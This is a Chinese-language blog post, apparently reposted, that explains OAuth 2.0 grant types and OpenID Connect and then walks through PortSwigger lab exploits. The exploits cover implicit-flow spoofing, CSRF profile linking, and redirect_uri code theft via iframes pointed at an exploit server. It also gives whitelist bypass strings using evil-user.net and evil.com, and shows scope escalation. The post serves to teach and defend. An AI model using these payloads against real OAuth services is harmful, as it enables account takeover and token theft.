OAuth 2.0资源授权机制与安全风险分析

文章目录

  • 前言
  • OAuth2.0
    • 1.1 OAuth应用
    • 1.2 OAuth基础
    • 1.3 授权码模式
    • 1.4 其它类模式
    • 1.5 openid连接
  • 安全风险
    • 2.1 隐式授权劫持
    • 2.2 CSRF攻击风险
    • 2.3 Url重定向漏洞
    • 2.4 scope校验缺陷
  • 总结

前言

OAuth 全称为Open Authorization(开放授权),OAuth 协议为用户资源的授权提供了一个安全的、开放而又简易的标准。OAuth 2.0 允许用户授权第三方应用访问他们在另一个服务提供方上的数据,而无需分享他们的凭据(如用户名、密码)。

OAuth 2.0 被广泛运用于各类授权认证的场景,然而信息系统在采用 OAuth 2.0 协议进行授权认证的过程中,如果开发人员对协议的实现不当则容易造成信息安全风险,本文来学习记录下 OAuth 2.0 协议授权机制的原理和其面对的安全风险。

OAuth2.0

1.1 OAuth应用

此处参考《理解OAuth 2.0 - 阮一峰的网络日志》举的案例:

有一个"云冲印"的网站,可以将用户储存在 Google 的照片冲印出来。用户为了使用该服务,必须让"云冲印"读取自己储存在 Google 上的照片。问题是只有得到用户的授权,Google 才会同意"云冲印"读取这些照片。那么,"云冲印"怎样获得用户的授权呢?

传统方法是,用户将自己的 Google 用户名和密码,告诉"云冲印",后者就可以读取用户的照片了。这样的做法有以下几个严重的缺点:

  1. "云冲印"为了后续的服务,会保存用户的密码,这样很不安全。
  2. Google 不得不部署密码登录,而我们知道,单纯的密码登录并不安全。
  3. "云冲印"拥有了获取用户储存在 Google 所有资料的权力,用户没法限制"云冲印"获得授权的范围和有效期。
  4. 用户只有修改密码,才能收回赋予"云冲印"的权力。但是这样做,会使得其他所有获得用户授权的第三方应用程序全部失效。
  5. 只要有一个第三方应用程序被破解,就会导致用户密码泄漏,以及所有被密码保护的数据泄漏。

OAuth 就是为了解决上面这些问题而诞生的。

OAuth 协议为用户资源的授权提供了一个安全的、开放而又简易的标准。与以往的授权方式不同之处是 OAuth 的授权不会使第三方触及到用户的帐号信息(如用户名与密码),即第三方无需使用用户的用户名与密码就可以申请获得该用户资源的授权,因此 OAUTH 是安全的。——引用自百度百科。

举一个通俗易懂的生活中常见例子,美团 Web 端的登录 支持 QQ 和微博扫码登录:
imagepng
imagepng
用户通过手机微博 app 扫描确认授权即可完成登录:
298032337jpg1992417819jpg
此过程采用的便是 OAuth2.0 协议(具体 http 字段特征下文会解释):
imagepng

1.2 OAuth基础

先看看 OAuth2.0 协议的一些基础概念:

概念解释
用户代理(User Agent)通常指浏览器
客户端(Client)请求访问资源的第三方应用,可以是 Web 站点、App、设备等
服务提供商(Service Provider)提供、存放资源的网络服务,如 Google、Github 等
资源所有者(Resource Owner)通常就是指用户,他们拥有服务提供商上的资源
授权服务器(Authorization Server)服务提供商用于处理和发放访问令牌的服务器。当用户请求访问资源时,需要先向授权服务器请求访问令牌
资源服务器(Resource Server)资源服务器是服务提供商用于存储和管理资源的服务器;当用户拥有访问令牌后,就可以向资源服务器请求访问资源
访问令牌(Access Token)访问令牌是授权服务器发放给客户端的一个凭证,表示客户端有权访问资源所有者的资源。访问令牌有一定的有效期,过期后需要使用刷新令牌来获取新的访问令牌
刷新令牌(Refresh Token)刷新令牌是授权服务器在发放访问令牌时一同发放的一个凭证,用于在访问令牌过期后获取新的访问令牌。刷新令牌通常有较长的有效期,甚至可以设置为永不过期

OAuth 协议的作用就是让 “客户端” 安全可控地获取 “用户” 的授权(Access Token),与 “服务商提供商” 进行互动。

OAuth 2.0 的运行流程如下图,摘自 RFC 6749。

  1. 用户打开客户端以后,客户端要求用户给予授权。
  2. 用户同意给予客户端授权。
  3. 客户端使用上一步获得的授权,向认证服务器申请令牌。
  4. 认证服务器对客户端进行认证以后,确认无误,同意发放令牌。
  5. 客户端使用令牌,向资源服务器申请获取资源。
  6. 资源服务器确认令牌无误,同意向客户端开放资源。

同时 OAuth 2.0 支持 4 种获得令牌(Access Token)的流程:

  1. 授权码模式(authorization-code)
  2. 隐式授权模式(implicit)
  3. 密码模式(password)
  4. 客户端凭证模式(client credentials)

其中最常见、最安全得便是本文要重点介绍的授权码模式。

More】SSO 单点登录和 OAuth2.0在 协议应用场景上的区别在于,SSO 是为了解决一个用户在鉴权服务器登陆过一次以后,可以在任何应用(通常是一个厂家的各个系统)中畅通无阻。OAuth2.0 解决的是通过令牌(token)而不是密码获取某个系统的操作权限(不同厂家之间的账号共享)。详情参考:《一文彻底搞懂SSO 和 OAuth2.0 关系》。

1.3 授权码模式

授权码模式(authorization code)是功能最完整、流程最严密的授权模式。它的特点就是通过客户端的后台服务器,与"服务提供商"的认证服务器进行互动。其完整的授权流程如下图所示:
imagepng
授权流程场景可以描述为如下几个步骤(拿微信授权来讲):

  1. 用户在第三方应用程序中,应用程序尝试获取用户保存在微信资源服务器上的信息,比如用户的身份信息和头像,应用程序首先让重定向用户到授权服务器,告知申请资源的读权限,并提供自己的 client id;
  2. 到授权服务器,用户输入用户名和密码(已登录的情况下一键授权即可),服务器对其认证成功后,提示用户即将要颁发一个读权限给应用程序,在用户确认后,授权服务器颁发一个授权码(authorization code)并重定向用户回到应用程序;
  3. 应用程序获取到授权码之后,使用这个授权码和自己的 Client id/Secret 向认证服务器 申请访问令牌/刷新令牌(access token/refresh token)。授权服务器对这些信息进行校验,如果一切 OK,则颁发给应用程序。
  4. 应用程序在拿到访问令牌之后,向资源服务器申请用户的资源信息;
  5. 资源服务器在获取到访问令牌后,对令牌进行解析(如果令牌已加密,则需要进行使用相应算法进行解密)并校验,并向授权服务器校验其合法性,如果一起 OK,则返回应用程序所需要的资源信息。

这个授权流程在 OAuth 2.0 中被称为授权码模式(authorization code grant),其命名的原因是,应用程序使用授权码来向授权服务器申请访问令牌/刷新令牌。在整个过程中应用程序没有接触到用户的密码。

授权流程核心参数

1、 客户端申请授权码(authorization code)的 HTTP Request,包含以下参数:

  • response_type:表示授权类型,必选项,此处的值固定为"code"

  • client_id:表示客户端的 ID,必选项

  • redirect_uri:表示重定向 URI,可选项

  • scope:表示申请的权限范围,可选项

  • state:表示客户端的当前状态,可以指定任意值,认证服务器会原封不动地返回这个值。

 GET /authorize?response_type=code&client_id=s6BhdRkqt3&state=xyz&redirect_uri=https%3A%2F%2Fclient%2Eexample%2Ecom%2Fcb HTTP/1.1
 Host: server.example.com

2、服务器回应客户端的授权码申请的 HTTP Response,包含以下参数:

  • code:表示授权码,必选项。该码的有效期应该很短,通常设为 10 分钟,客户端只能使用该码一次,否则会被授权服务器拒绝。该码与客户端 ID 和重定向URI,是一一对应关系。

  • state:如果客户端的请求中包含这个参数,认证服务器的回应也必须一模一样包含这个参数。

 HTTP/1.1 302 Found
 Location: https://client.example.com/cb?code=SplxlOBeZQQYbYS6WxSbIA&state=xyz

3、客户端拿着授权码向认证服务器申请令牌的 HTTP Request ,包含以下参数:

  • grant_type:表示使用的授权模式,必选项,此处的值固定为 “authorization_code”。

  • code:表示上一步获得的授权码,必选项。

  • redirect_uri:表示重定向 URI,必选项,且必须与前面申请授权码的步骤中的该参数值保持一致。

  • client_id:表示客户端 ID,必选项。

  • client_secret:client_id 参数和 client_secret 参数用来让授权服务器确认客户端的身份(client_secret 参数是保密的,因此只能在后端发请求);

POST /oauth/token HTTP/1.1
Host: server.example.com
Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW
Content-Type: application/x-www-form-urlencoded

client_id=s6BhdRkqt3&client_secret=xxxxxx&grant_type=authorization_code&code=SplxlOBeZQQYbYS6WxSbIA
&redirect_uri=https%3A%2F%2Fclient%2Eexample%2Ecom%2Fcb

4、认证服务器最终返回给客户端的 HTTP Response 包含以下参数:

  • access_token:表示访问令牌,必选项。
  • token_type:表示令牌类型,该值大小写不敏感,必选项,可以是bearer类型或mac类型。
  • expires_in:表示过期时间,单位为秒。如果省略该参数,必须其他方式设置过期时间。
  • refresh_token:表示更新令牌,用来获取下一次的访问令牌,可选项。
  • scope:表示权限范围,如果与客户端申请的范围一致,此项可省略。
HTTP/1.1 200 OK
Content-Type: application/json;charset=UTF-8
Cache-Control: no-store
Pragma: no-cache

{
   "access_token":"2YotnFZFEjr1zCsicMWpAA",
   "token_type":"example",
   "expires_in":3600,
   "refresh_token":"tGzv3JOkF0XG5Qx2TlKWIA",
   "example_parameter":"example_value"
}

【思考】授权码模式中,为何要具备 client_secret?

第三方应用申请令牌之前,都必须先到系统备案(比如各大厂商对外提供的开发者平台),说明自己的身份,然后拿到两个身份识别码:客户端 ID(client ID)和客户端密钥(client secret)。这是为了防止令牌被滥用,没有备案过的第三方应用,是无法申请令牌的。显然,client_id 参数和 client_secret 参数用来让授权服务器确认客户端的身份。
imagepng
上面这个授权码模式的流程图比前面另一张流程图更为详细和准确。授权码模式的工作流程中,Authentication Code 可以返回前端并存在于浏览器里面,这个 code 被看到无所谓,因为如果偷走了这个 code,也无法像 Authorization Server 请求 access token,因为小偷没有 client_secert,所以即使被偷走了 authentication code,也无法换取拿走 access token。但是我们需要将 client_secert 存放在后端服务器(比如美团支持微博扫码登录的场景,需要放在美团服务器上)与授权服务器进行安全通信,避免 client_secert 泄露的风险。So 请记住:client_secret 参数是需要严格保密的,因此安全起见,我们需要在后端服务器存储 client_secret 参数并由后端发起 AccessToken 申请的请求。

1.4 其它类模式

OAuth2.0 提供的其它三种授权模式并不常用,此处仅做简单介绍,不过度展开。

0x01 隐式授权(Implicit Grant)

有些 Web 应用是纯前端应用,没有后端。这时就不能用上面的授权码模式了,必须将令牌储存在前端。RFC 6749 就规定了第二种方式,允许直接向前端颁发令牌。这种方式没有授权码这个中间步骤,所以称为(授权码)“隐藏式”(implicit)。隐式授权又称简化授权模式,它和授权码模式类似,只不过少了获取授权码的步骤,是直接获取令牌 token 的,且没有 Refresh Token,适用于公开的浏览器单页应用。

第一步,A 网站提供一个链接,要求用户跳转到 B 网站,授权用户数据给 A 网站使用。

https://b.com/oauth/authorize?
  response_type=token&
  client_id=CLIENT_ID&
  redirect_uri=CALLBACK_URL&
  scope=read

上面 URL 中,response_type 参数为 token,表示要求直接返回令牌。

第二步,用户跳转到 B 网站,登录后同意给予 A 网站授权。这时,B 网站就会跳回 redirect_uri 参数指定的跳转网址,并且把令牌作为 URL 参数,传给 A 网站。

https://a.com/callback#token=ACCESS_TOKEN

上面 URL 中,token参数就是令牌,A 网站因此直接在前端拿到令牌。

0x02 密码模式(password)

如果你高度信任某个应用,RFC 6749 也允许用户把用户名和密码,直接告诉该应用。该应用就使用你的密码,申请令牌,这种方式称为"密码式"(password)。

第一步,A 网站要求用户提供 B 网站的用户名和密码。拿到以后,A 就直接向 B 请求令牌。

https://oauth.b.com/token?
  grant_type=password&
  username=USERNAME&
  password=PASSWORD&
  client_id=CLIENT_ID

上面 URL 中,grant_type 参数是授权方式,这里的 password 表示"密码式",username 和 password 是 B 的用户名和密码。

第二步,B 网站验证身份通过后,直接给出令牌。注意,这时不需要跳转,而是把令牌放在 JSON 数据里面,作为 HTTP 回应,A 因此拿到令牌。
imagepng
这种方式需要用户给出自己的用户名/密码,显然风险很大,因此只适用于其他授权方式都无法采用的情况,而且必须是用户高度信任的应用。

0x03 客户端凭证模式(client credentials)

最后一种方式是凭证式(client credentials),适用于没有前端的命令行应用,即在命令行下请求令牌。

第一步,A 应用在命令行向 B 发出请求。

https://oauth.b.com/token?
  grant_type=client_credentials&
  client_id=CLIENT_ID&
  client_secret=CLIENT_SECRET

上面 URL 中,grant_type 参数等于 client_credentials 表示采用凭证式,client_id 和 client_secret 用来让 B 确认 A 的身份。

第二步,B 网站验证通过以后,直接返回令牌。imagepng
这种方式给出的令牌,是针对第三方应用的,而不是针对用户的,即有可能多个用户共享同一个令牌。

1.5 openid连接

本章节主要参考《OAuth 2.0 和 OpenID Connect 的基本原理和区别(干货)》,原文循序渐进讲得很好。

2009 年左右,第一个第三方 facebook 登录第一次出现,这意味着:

  1. OAuth 可以用来做简单身份 验证;
  2. OAuth 也可以做跨站点 SSO 验证;
  3. 手机端的应用程序也可以用来 OAuth 来登录验证;

但是 OAuth 最关键的还是用户委派授权,比如上面用微博来委派授权美团能够获得部分的用户资料授权。OAuth主要设计是用来进行授权的,而不是 User 身份验证。这是为什么呢?

主要因为 OAuth 用的是 client ID 而不是 User ID 来进行请求。其次,如果用 OAuth 来进行身份验证的话,不是个完美的选择,因为 OAuth 没有一个标准的方法来搜集 user 用户本身的资料,比如说,你想登录美团,作为应用美团的商业角度来说,最好的情况是美团直接从 user 那里或者邮箱地址、姓名、年纪等信息,但是 OAuth 的协议流程里面并没有针对 user 信息本身,而是针对于 scope 给出 client 指定范围的信息授权,OAuth 其实并不在意 Cilent 发起授权请求的是是哪个 user,也就是并不太在乎你是谁。

综上可以看到,尽管 OAuth 2.0 在资源授权上非常管用,但是如果把 OAuth 专门用来做身份验证,就会出现很多问题,比如没有一个标准的方式来获得用户信息,而且每个应用实现 OAuth 协议的细节也不一样,同时每个应用允许的 scope 都不一样。为了解决这个问题,便引入了 OpenID Connectimagepng
OAuth 主要用在授权,缺失了身份验证的功能,所以OpenID Connect 就是用来弥补 OAuth 这个身份验证空白的。其实 OpenID Connect 不太能够视为一个单独的验证协议,因为 OpenID Connect 需要和 OAuth 一起使用,底层授权用 OAuth,上一层的身份验证用 OpenID Connect,相当于 OAuth 的扩展。
imagepng
OpenID Connect 和 OAuth 从技术上来讲,哪里有什么不一样呢?

就在第一步向授权服务器进行请求时,会请求 OpenID profile 的 scope。Access token 和 ID token 一起获得,access token 可以向 resource server 要profile,ID token 可以证明是哪个用户进行了登录,但是这个 ID token 关于 user 的信息有限,如果 client 还想要更多关于 user 的信息,可以调用/userinfo API。
imagepng
imagepng
imagepng

安全风险

结合 portswigger 靶场来进行实践学习 OAuth2.0 授权协议面对的安全风险,此靶场深入浅出值得推荐。

2.1 隐式授权劫持

隐式授权模式的介绍参见 “1.4 其它类模式” 章节。隐式授权模式缺乏 client_secret 校验客户端身份的环节,直接通过 client_id 即可直接发起获取 AccessToken 的请求,在这种情况下,攻击者可以简单地更改发送到服务器的参数来模拟任何用户。

https://b.com/oauth/authorize?
  response_type=token&
  client_id=CLIENT_ID&
  redirect_uri=CALLBACK_URL&
  scope=read

直接上靶场:lab-oauth-authentication-bypass-via-oauth-implicit-flow。
imagepng
1、 访问靶场,发现是个博客站点,点击登录(先使用提供的账户密码wiener:peter正常登录):
imagepng
2、自动跳转到 OAuth2.0 授权登录界面,点击确认授权:
imagepng
imagepng
3、观察上述 http 报文,发现 OAuth 授权请求过程如下:
imagepng
imagepng
可以看到 /authenticate 请求携带 OAuth 颁发的 Token + 客户端指定的用户账户 email、username 发起了对应读取邮箱账户属性的资源请求,此处用户的的身份参数是客户端可控的,题目要求录到 carlos 的帐户(carlos@carlos-montoya.net),故重新发起授权流程,拦截 /authenticate 请求修改 email 即可。imagepng
imagepng
imagepng
成功通关:
imagepng
【实验小结】OAuth 2.0 中的隐式授权方式存在较大安全风险,容易发生越权漏洞,实际应用中还是应当使用授权码模式来规避此类风险,授权码模式比隐式模式多了一步校验客户端身份的 client_id/client_secret 字段,在 client_secret 字段未发生泄露的情况下,可以有效避免上面越权获取资源的风险。

2.2 CSRF攻击风险

授权码模式也并非固若金汤,仔细观察授权码模式申请 OAuth Code 的请求中需要携带 state 参数,此参数是用于防止 CSRF 攻击的,但是 OAuth2.0 协议并非强制要求携带此参数,如果开发人员在使用 OAuth2.0 协议时舍弃了该参数,将导致系统可能面临 CSRF 攻击场景。

《移花接木:针对OAuth2的CSRF攻击》仔细讲了此类 CSRF 攻击的场景,描述有点过于繁杂,但里面的流程图很清晰概括了作者要表达的事情,看图即可:
imagepng
简单来说,就是攻击者拿着自己的 auth_code 构造 CSRF 链接给到受害者,受害者点击 CSRF 链接后将携带自己的 client_id、client_secret 等身份标识向授权服务器发起申请 Access_token 的请求,如果授权服务器未校验 auth_code 和 client_id 的映射关系(很关键的攻击前提条件),将导致受害者的的账户跟攻击者账户进行了错误绑定。

要防止此类攻击其实很容易,作为第三方应用的开发者,只需在 OAuth 认证过程中加入 state 参数,并验证它的参数值即可。具体细节如下:

  1. 在将用户重定向到 OAuth2 的 Authorization Endpoint 去的时候,为用户生成一个随机的字符串,并作为 state 参数加入到 URL 中;
  2. 客户端在收到 OAuth2 服务提供者返回的 Authorization Code 请求的时候,验证接收到的 state 参数值,如果是正确合法的请求,那么此时接受到的参数值应该和上一步提到的为该用户生成的 state 参数值完全一致,否则就是异常请求;

同时 state 参数值需要具备下面几个特性:

  • 不可预测性:足够的随机,使得攻击者难以猜到正确的参数值;
  • 关联性:state参数值和当前用户会话(user session)是相互关联的;
  • 唯一性:每个用户,甚至每次请求生成的 state 参数值都是唯一的;
  • 时效性:state 参数一旦被使用则立即失效;

同样来通过靶场实践一下此类漏洞:https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking。
imagepng
要求我们通过 CSRF 漏洞获得博客站点管理员账户的访问权限并删除 carlos 账户,靶场给每一个实验都提供了标准的通关步骤指导,对着一步步操作即可。

1、题目是个 Blog 站点,点击 MyAccount 进行账户登录,先正常选择博客网站账户(wiener:peter)进行登录:
imagepng
imagepng
2、登陆以后,选择将您的社交媒体个人资料附加到您现有的帐户。点击“附加社交档案”,您将被重定向到社交媒体网站,您应该使用您的社交媒体凭据登录以完成 OAuth 流程。之后,您将被重定向回博客网站。
imagepng
imagepng
imagepng
imagepng
3、完成上述博客账户与社交账户的绑定后,退出登录,然后点击“My Account”返回登录页面。这一次,选择“使用社交媒体登录”选项,注意此次您将通过社交媒体帐户实现快速登录。
imagepng
观察通过社交账户快速登录的过程中存在两个核心报文如下:
imagepng
imagepng
可以看到申请 oauth_code 的过程并未携带 state 参数,故此处可以通过构造 CSRF 恶意链接,让博客网站的管理员访问/oauth-login?code=攻击者的 auth_code,即可实现将博客网站的管理员的账户跟攻击者的社交账户进行绑定,然后攻击者通过自己的社交帐户登录博客站点,便能获得博客站点的管理权限。

4、打开代理拦截并再次选择“附加社交配置文件”选项,拦截到 GET /oauth-linking?code=[...] 的请求。右键单击此请求并选择“复制URL”,接着 drop 放弃该请求(这对于确保授权代码不被使用并保持有效非常重要)。
imagepng
imagepng
5、点击访问漏洞利用服务器,构造 CSRF 恶意链接并发送给博客站点管理员,向受害者(博客站点管理员)发送 exp,当他们的浏览器加载 iframe 时,它将使用您的社交媒体配置文件完成 OAuth 流程,将其附加到博客网站管理员的帐户:

<iframe src="https://XXXX.web-security-academy.net/oauth-linking?code=B2ZvLTHcsrOeyUIEig8LKYHJznCoZzyHoUD2LSodlTo"></iframe>

imagepng
imagepng
6、返回到博客网站,退出登录后重新登录,再次选择“使用社交媒体登录”,可以发现成功以管理员用户身份登录,转到管理面板并删除 carlos 账户以解决实验。
imagepng
imagepng
imagepng
imagepng
【实验小结】state 参数在 OAuth 2.0 认证过程中不是必选参数,因此第三方应用开发者在集成 OAuth 2.0 认证的时候很容易会忽略它的存在,导致应用易受CSRF 攻击,导致可以悄无声息的攻陷受害者的账号。作为第三方应用的开发者,需要在 OAuth2.0 认证流程中明确提供 state 参数并有效验证其参数值。

2.3 Url重定向漏洞

在授权码模式中,OAuth 服务端收到 redirect_uri 后如果未对其进行安全校验,那么存在的攻击场景:

  1. 攻击者可将 redirect_uri 改为自己的站点后构造 CSRF 攻击链接并发送给受害者访问,导致返回的 auth_code 发送到了攻击者的站点,使其获取到了受害者 auth_code;
  2. 这个时候 如果 OAuth 服务器没有校验 client_id 和 auth_code 的绑定关系(很关键的攻击前提条件,下面的实验便是基于此),那么攻击者可以拿着受害者的 auth_code 向 OAuth 服务器申请到与受害者账户对应的 access_token;
  3. 或者受害者的 client_id、client_secret 同时发生了泄露,那么攻击者可以拿着受害者泄露的 auth_code 发起申请 access_token 的请求来获得受害者账户对应的 access_token;
  4. 上述窃取到 access_token 的过程如果用于登录授权场景,此时攻击者可以成功实现将受害者的账户(比如美团账户)与自己的账户(比如微博社交账户)进行关联绑定,实现接管受害者的账户(即攻击者可以用自己微博账户登录受害者的美团账户,下面的实验就是这种场景);

靶场环境:https://portswigger.net/web-security/oauth/lab-oauth-account-hijacking-via-redirect-uri。
imagepng
根据官方提供的标准通过步骤走即可,同样是个 Blog 站点,但仅提供社交帐号关联登录:
imagepng
imagepng
通过社交账户成功完成 OAuth 授权登录后,选择退出登录,然后再次登录。注意,由于您仍然与 OAuth 服务有一个活动会话,因此您不需要再次输入凭据来进行身份验证,可实现快速登录。
imagepng
imagepng
以上过程的 http 报文跟上一个实验一样存在两个核心请求:
imagepng
imagepng
/auth?client_id=XXX&redirect_uri=https://XXX&response_type=code&scope=openid%20profile%20email 请求修改 redirect_uri 参数后进行重放,可以发现其服务端正常返回对应的 auth_code 值:
imagepng
3、更改 redirect_uri 令其指向漏洞利用服务器,然后发送请求并 Follow Redirect,接着查看漏洞利用服务器的访问日志,并观察到有一个包含授权代码的日志条目,这确认您可以将授权码泄漏到外部域。
imagepng
imagepng
imagepng
返回到 exploit 服务器并在 /exploit 创建以下 iframe :

<iframe src="https://oauth-0a3f00e1034e9d41833841db023f0073.oauth-server.net/auth?client_id=jr2th3gemopgjyu25io6u&redirect_uri=https://exploit-0abe001103809d19832f4261018a003a.exploit-server.net/&response_type=code&scope=openid%20profile%20email"></iframe>

存储漏洞发送 exp 到受害者:
imagepng
访问 exp 服务器 log 日志可以看到受害者(博客站点管理员)泄露的 auth_code:
imagepng
最后,退出博客网站,然后使用窃取到的 auth_code 访问如下登录请求:

https://YOUR-LAB-ID.web-security-academy.net/oauth-callback?code=6m006M_uYUwmM5GK92-Hm99TT3siFmSH8zQYTnR_D2M

OAuth 流程的其余部分将自动完成,您将以管理员用户身份登录。打开管理面板并删除 carlos 以解决实验。
imagepng
imagepng
【实验小结】以上实验成功的前提条件,除了服务端没有校验 redirect_uri 的合法性之外,还包括 OAuth 授权服务器没有校验 client_id 与颁发过的 auth_code 的映射关系,这才导致攻击者可以拿着受害者的 auth_code 和自己的 client_id/client_secret 直接发起并完成登录请求。

有缺陷的 redirect_uri 验证

根据前面实验中看到的攻击类型,客户端应用程序在注册 OAuth 服务时提供其真正回调 URI 的白名单是最佳的选择。这样,当 OAuth 服务收到新请求时,它可以根据此白名单验证 redirect_uri 参数。在这种情况下,提供外部 URI 可能会导致错误。

然而 redirect_uri 白名单验证仍然可能有方法绕过,以下几种方法较为常见:

  1. 一些白名单检查方案采用的是检查字符串是否以正确的字符序列开头(即 startWith(“xxxx”)、contain(“xxxx”) 这类),可以尝试注册符合条件的域名或构造对应 URL 来满足检查条件;
  2. 如果可以将额外值追加到默认 redirect_uri 参数,则可以利用 OAuth 服务的不同组件分析 URI 之间的差异。例如,您可以尝试以下技术:https://default-host.com &@foo.evil-user.net#@bar.evil-user.net/(可参考 SSRF 防御手段);
  3. 还可以通过提交重复的 redirect_uri 参数检测是否存在 HTTP 参数污染漏洞;
  4. 一些服务器还对 localhost URI 进行特殊处理,因为它们在开发过程中经常使用,在某些情况下,任何以 开头 localhost 的重定向 URI 都可能在生产环境中意外被允许,这允许攻击者通过注册域名(如 localhost.evil-user.net )来绕过验证。

通过代理页面窃取授权码和访问令牌】

对于更强大的目标,可能会发现无论尝试什么,都无法成功将外部域作为 redirect_uri,然而这并不意味着是时候放弃了。现在的关键是尝试确定是否可以更改参数 redirect_uri 以指向列入白名单的域上的任何其他页面。

尝试找到可以成功访问不同子域或路径的方法。例如,默认 URI 通常位于特定于 OAuth 的路径上,例如 /oauth/callback ,该路径不太可能有任何有趣的子目录。但是可以使用目录遍历技巧来提供域上的任何任意路径,例如:

https://client-app.com/oauth/callback/../../example/path

在后端将被解析为:
https://client-app.com/example/path

确定可以设置为重定向 URI 的其他页面后,应审核它们是否存在可能用于泄露 auth_code 或 access_token 的其他漏洞。为此常见的手段有:

  1. 开放重定向:这其实也属于校验不完整的而绕过的一种情况,因为 OAuth 提供方只对回调 URL 的根域等进行了校验,当回调的 URL 根域确实是原正常回调 URL 的根域,但实际是该域下的一个存在 URL 跳转漏洞的URL,就可以构造跳转到钓鱼页面,就可以绕过回调 URL 的校验了,比如: https://xxx.com/callback?redirectUrl=https://evil.com

  2. 结合跨站图片或 XSS 漏洞:通过在客户端或者客户端子域的公共评论区等模块,插入构造好请求的 img 标签,将 redirect_uri 参数修改为加构造好 img 标签的 URL,利用本身的域名去绕过白名单限制。

2.4 scope校验缺陷

使用授权码模式进行授权时,用户的数据通过安全的服务器到服务器通信被请求和发送,第三方攻击者通常无法直接操纵。但是,通过向 OAuth 服务注册他们自己的客户端应用程序,仍然可以实现相同的结果。

例如,假设攻击者的恶意客户端应用程序最初使用 openid、email 作用域请求访问用户的电子邮件地址。在用户批准此请求后,恶意客户端应用程序将收到一个授权代码。当攻击者控制他们的客户端应用程序时,他们可以向 code/token 交换请求中添加另一个包含额外范围 profile 的 scope 参数:

POST /token
Host: oauth-authorization-server.com
…
client_id=12345&client_secret=SECRET&redirect_uri=https://client-app.com/callback&grant_type=authorization_code&code=a1b2c3d4e5f6g7h8&scope=openid%20email%20profile

如果服务器没有根据初始授权请求中的作用域进行验证,它有时会使用新的作用域生成一个访问令牌,并将其发送给攻击者的客户端应用程序:

{
 "access_token": "z0y9x8w7v6u5",
 "token_type": "Bearer",
 "expires_in": 3600,
 "scope": "openid email profile",}

然后,攻击者可以使用其应用程序进行必要的API调用,以访问用户的配置文件数据。

总结

OAuth 2.0 用于资源授权和登录认证的过程中,授权码模式相对于隐式授权模式、密码模式等具备更高的安全性,但是第三方开发者在实现 OAuth2.0 授权逻辑的时候,一定要考虑一些必要的安全逻辑,防止存在授权或认证缺陷。

常见的需要考虑的安全点如下:

  1. 尽量采用安全性更高的授权码模式;

  2. 在申请 auth_code 的过程中,携带具备随机性的 state 参数,防御 CSRF 攻击;

  3. 授权服务器需要严格校验 client_id 和 auth_code 的绑定关系,防止颁发给 A 用户的 auth_code 被 B 窃取后申请到属于 A 的 access_token;

  4. 授权服务器应当校验 redirect_uri 回调参数的合法性,可以通过配置白名单的方式,防止 auth_code 或 access_token 返回到攻击者服务器上;

  5. 使用 auth_code 交换 access_token 的过程需要在后台服务器之间进行,不能将 client_secret 硬编码在客户端或者 http 传递到客户端,确保 client_secret 不被泄露。

本文参考文章与资源:

  1. 讲得挺好的视频:彻底理解 OAuth2 协议_哔哩哔哩_bilibili;
  2. 基础流程的理解:理解OAuth 2.0、OAuth 2.0 的四种方式 - 阮一峰;
  3. 防御 CSRF 攻击:移花接木:针对OAuth2的CSRF攻击;
  4. 常见攻击面概述:OAuth实现机制中的常见安全问题、挖洞小技巧系列之OAuth 2.0;
  5. OpenID Connect:OAuth 2.0 和 OpenID Connect 的基本原理和区别(干货);
  6. 很不错的流程图:一文彻底搞懂SSO和OAuth2.0关系、OAuth2.0入门:基本概念详解和四种授权类型。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/746050.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

odoo 去掉在线聊天的删除和编辑内容

描述 odoo在线聊天功能中,在原有的聊天记录中是可以进行编辑和删除的 这使得产生很多不可控原因,乱改,乱删等 所以要进行屏蔽此功能 优化前 优化后 升级 mail 模块刷新即可。 <Dropdown t-if="messageActions.actions.length gt quickActionCount"onStateCha…

[JS]DOM元素

介绍 DOM(Document Object Model---文档对象模型) 是浏览器提供的一套专门用来操作网页内容的API DOM树 把HTML文档以树状结构直观的表现出来, 称为文档数或者DOM树, DOM树直观的展示了标签与标签的关系 DOM对象 浏览器根据html标签生成的JS对象称为DOM对象 document对象 …

专业,城市,院校,高考填报志愿的三要素怎么排序?

我认为排序方式可以参考&#xff1a; 城市>学校 同样是计算机专业&#xff0c;不论学校的高低&#xff0c;一线城市更容易接触到时代的前端&#xff0c;有更多学习机会&#xff0c;有更好的文化氛围&#xff0c;同样在就业的时候也更容易接触到企业.... 如果要把专业考虑进…

mybatis中动态sql语句like concat(“%“,#{xm},“%“)

1、动态SQL是一种可以根据不同条件生成不同SQL语句的技术&#xff0c;随着用户输入或外部条件变化而变化的SQL语句 2、SQL语句中的like模糊查询 xm like %小米%&#xff0c;但开发中经常用到 xm like concat("%",#{xm},"%")&#xff0c;可以防止sql注入…

半藏酒商业模式解读,半藏酱酒营销案例,半藏总院分院招商模式

半藏酱酒通过新零售模式&#xff0c;实现销售额快速增长。其模式包括私域营销、共享门店和DTC模式 入局酱酒市场短短4个月&#xff0c;销售额便破亿&#xff0c;15个月销售额突破6亿&#xff0c;还成立了700多家分院… 主要步骤是三个身份&#xff1a;分院、联创股东、个人股东…

Java毕设服务工作室

Java毕设服务工作室&#xff1a;专注提供高质量Java代码解决方案 在Java编程领域&#xff0c;毕业设计&#xff08;毕设&#xff09;项目往往需要大量的代码编写和调试。为了让同学们能够更专注于项目的核心逻辑和技术实现&#xff0c;Java毕设服务工作室应运而生&#xff0c;…

AME5268-AZAADJ 3A,28V,340KHz同步整流下行变换器芯片IC

一般说明 AME5268 是一款固定频率单片同步稳压器&#xff0c;可接受4.75V至28V的输入电压。两个低接通电阻的NMOS开关集成在模具上。采用电流模式拓扑结构&#xff0c;具有快速的暂态响应和良好的环路稳定性。 关断模式将输入电源电流降低到小于1μa。可调软启动…

2024系统分析师考试总结

考试缘由 我自己在毕业不久就考过了中级的软件设计师&#xff0c;这几年换到外企后事情不多&#xff0c;今年初定计划的时候就想着不如考个系统分析师吧。为什么选这个类别呢&#xff1f;按道理我主做程序开发&#xff0c;如果去考系统架构师通过率可能会大一些&#xff0c;但…

C++应用例程(判断质数、猜数字、爱心曲线)

